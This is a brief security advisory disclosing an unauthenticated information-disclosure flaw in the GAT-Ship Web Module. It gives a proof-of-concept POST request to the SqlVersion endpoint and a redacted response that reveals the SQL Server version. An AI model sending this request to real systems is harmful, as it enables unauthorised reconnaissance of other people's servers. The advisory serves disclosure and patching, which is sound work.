GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability


It is possible in versions 1.30 and below for unauthenticated attackers to query the GAT-Ship Web Module for system information via a crafted request:

PoC:
---------------------------------------------------------------------------------------------------------------------------------------

POST /ws/gatshipWs.asmx/SqlVersion <http://gatshipWs.asmx/SqlVersion> HTTP/1.1
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/json; charset=utf-8
 X-Requested-With: XMLHttpRequest 
 Content-Length: 2
 DNT: 1
 Connection: close
 
 {}

--------------------------------------------------------------------------------------------------------------------------------------------------




HTTP/1.1 200 OK
 Cache-Control: private, max-age=0
 Content-Type: application/json; charset=utf-8
 Server: Microsoft-IIS/X.X
 X-AspNet-Version: X.X.XXXXX
 X-Powered-By: ASP.NET
 Date: Mon, XX XXX 20XX 06:55:31 GMT
 Connection: close
 Content-Length: 310
 
 {"d":{"__type":"webModule.ws.gatshipWs+ResponsObject","ResponsType":0,"MessageText":null,"Data":"Microsoft SQL Server 20XX (SPX) - XX.X.XXXX.X (X64) \n\tDec 28 20XX 20:23:12 \n\tCopyright (c) Microsoft Corporation\n\tStandard Edition (64-bit) on Windows XX XX \u003cX64\u003e (Build XXXX: Service Pack X)\n"}}

===================================================================================

Values in PoC removed for security reasons.


Disclosed: 16 Jul 2018

Fix: Upgrade to current version.


Discovered by Gionathan Armando Reale